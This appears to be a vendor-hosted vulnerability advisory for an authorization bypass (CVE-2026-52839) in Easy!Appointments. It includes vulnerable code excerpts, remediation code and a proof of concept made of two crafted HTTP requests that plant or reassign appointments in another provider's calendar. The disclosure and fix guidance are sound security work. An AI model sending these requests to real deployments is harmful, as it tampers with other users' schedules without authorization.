Summary
Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection, Authorization Bypass
Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.
A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.
Root Cause, Step by Step Code Flow
Step 1, Search correctly enforces provider isolation
The search endpoint filters out appointments belonging to other providers, proving provider isolation is an intended boundary:
// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
foreach ($appointments as $index => $appointment) {
if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
unset($appointments[$index]);
}
}
}
Step 2, store() only checks generic add permission
The store endpoint checks only whether the caller can add appointments in general, no provider ownership check:
// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
Step 3, Attacker-controlled id_users_provider saved directly
The controller whitelists and persists the appointment including the attacker-controlled provider ID:
$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);
No check is performed to verify id_users_provider matches the current session.
Step 4, Write-before-crash on store()
After the unauthorized row is committed, the controller crashes on a type error:
$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id
The attacker receives a 500 error response, but the foreign appointment row is already in the database.
Step 5, update() has the same missing ownership check
The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:
// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
abort(403, 'Forbidden');
}
$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);
A provider can reassign any appointment they can edit into a foreign provider's calendar.
Proof of Concept
Attacker: Provider with session ID 4
Target: Foreign provider with ID 2
Step 1, Inject appointment into foreign provider's schedule:
POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 500 Internal Server Error, type error on find()
But the row is committed:
id start_datetime id_users_provider notes
6 2026-05-29 15:00:00 2 foreign provider create by alicer
Provider 4 created a row that belongs to provider 2.
Step 2, Reassign existing appointment to foreign provider:
POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}
Response: 200 OK
Result: Appointment 7 now belongs to provider 2 instead of provider 4.
Runtime verification result:
attacker provider id: 4
foreign created appointment provider id: 2
reassigned appointment provider id: 2
provider-visible appointments: 0
PASS
The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.
Real World Impact
In a multi-provider Easy!Appointments deployment, a clinic, salon, or service business with multiple staff members, any authenticated provider can:
- Inject fake appointments into a colleague's schedule causing confusion and double-bookings
- Move their own appointments into another provider's calendar to hide or offload them
- Disrupt scheduling integrity for staff and customers
- Create unauthorized appointments that customers and admins attribute to the wrong provider
The write-before-crash bug instore()makes detection harder, the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.
Reporter
Yash Shendge (ashrexon)
2026-05-25
Impact
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
CVE-2026-52839 has a CVSS score of 3.3 (Low). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:
if ($role_slug === DB_SLUG_PROVIDER) {
$appointment['id_users_provider'] = $user_id; // force own provider ID
}
Fix the write-before-crash bug in store():
$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array
Frequently Asked Questions
- What is CVE-2026-52839? CVE-2026-52839 is a low-severity missing authorization vulnerability in alextselegidis/easyappointments (composer), affecting versions <= 1.5.2. It is fixed in 1.6.0. The application does not perform an authorization check before performing a sensitive operation.
- How severe is CVE-2026-52839? CVE-2026-52839 has a CVSS score of 3.3 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of alextselegidis/easyappointments are affected by CVE-2026-52839? alextselegidis/easyappointments (composer) versions <= 1.5.2 is affected.
- Is there a fix for CVE-2026-52839? Yes. CVE-2026-52839 is fixed in 1.6.0. Upgrade to this version or later.
- Is CVE-2026-52839 exploitable, and should I be worried? Whether CVE-2026-52839 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-52839 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-52839? Upgrade
alextselegidis/easyappointmentsto 1.6.0 or later.